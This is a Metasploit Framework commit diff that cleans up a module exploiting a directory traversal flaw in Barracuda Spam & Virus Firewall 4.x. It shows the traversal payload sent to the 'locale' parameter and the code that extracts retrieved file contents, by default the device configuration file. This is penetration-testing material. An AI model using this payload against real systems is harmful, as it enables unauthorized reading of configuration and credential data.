Clean up the barracuda module a bit (grammar and removal of the report_auth_info until its refactored)

git-svn-id: file:///home/svn/framework3/trunk@10631 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-10-10 17:45:30 +00:00
parent 8ffe70c2a8
commit 06291bb78e
1 changed files with 6 additions and 16 deletions

View File

@ -19,11 +19,12 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Barracuda Spam & Virus Firewall "locale" Directory Traversal Vulnerability',
'Name' => 'Barracuda Spam / Virus Firewall "locale" Directory Traversal',
'Version' => '$Revision$',
'Description' => %q{
This module exploit a Directory Traversal vulnerability present in
Barracuda Spam & Virus Firewall 4.x
This module exploits a directory traversal vulnerability present in
Barracuda Spam and Virus Firewall version 4.x. By default, this module
will attempt to download the Barracuda configuration file.
},
'References' =>
[
@ -56,30 +57,19 @@ class Metasploit3 < Msf::Auxiliary
file = datastore['FILE']
payload = "?locale=/../../../../../../..#{file}%00"
print_status("#{target_url} - Barracuda - Checkig if remote server is vulnerable")
print_status("#{target_url} - Barracuda - Checking if remote server is vulnerable")
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}" + payload,
}, 25)
if (res and res.code == 200)
if (res and res.code == 200 and res.body)
if (res.body.match(/p\>(.*)\<\/p/im).to_s.size > 10)
file_data = $1
print_good("#{target_url} - Barracuda - Vulnerable")
print_good("#{target_url} - Barracuda - File Output: \n" + file_data + "\r\n")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:data => file_data,
:proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}",
:active => true
)
return :next
elsif res.body =~ /help_page/
print_error("#{target_url} - Barracuda - Not Vulnerable")
else